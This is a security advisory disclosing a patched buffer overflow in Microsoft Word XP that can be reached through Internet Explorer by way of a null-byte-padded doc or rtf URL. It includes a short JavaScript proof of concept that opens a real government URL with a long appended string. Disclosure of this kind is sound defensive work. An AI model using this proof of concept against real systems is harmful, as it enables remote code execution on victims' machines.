Finjan Security Advisory
Microsoft Office XP Remote Buffer Overflow Vulnerability


Introduction

Finjan has discovered a new vulnerability in Microsoft Word
XP that would allow a hacker to launch a buffer overflow attack.
This attack could occur when a user opened a Word document using
Internet Explorer.


Technical Description

When a ".doc" file is opened inside Internet Explorer, Microsoft
Word XP "takes over" and opens that doc file. The problem appears
when sending a doc file request that contains a null byte (parser)
at the end of the doc filename (the rtf extension is also vulnerable).

For example:
http://www.myhost.com/myfile.doc is a valid request.

However This:
http://www.myhost.com/myfile.doc%00aaaaaaaaaaaaaaaaaaaaaaa...aa.doc
is an invalid request. Such a request will be sent to the server
hosting the doc file.

Most servers like IIS and Apache will truncate the characters before
the %00 while sending the filename to Internet Explorer. 
At this stage, Internet Explorer will hand over the string to Microsoft
Word XP, which will now receive a long string. This string causes an
exploitable buffer overflow, allowing remote code execution.


The Code (Proof of Concept)

<Script>
var mylongstring,myjunk;
mylongstring ="";
myjunk="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
bbbbbbbbbbbbbbbbbbb";
for(c=1;c<5000;c++)
{
  mylongstring = mylongstring + myjunk;
}
window.open("http://www.hhs.gov/ocr/privacysummary.rtf%0a"+mylongstring);
</script>


Vulnerability Status

Microsoft was notified on July 13, 2004.
The bug is now fixed. For further details please refer to Microsoft
security bulletin MS05-004.


Credit 

Rafel Ivgi, Malicious Code Research Center (MCRC), Finjan Software Ltd.


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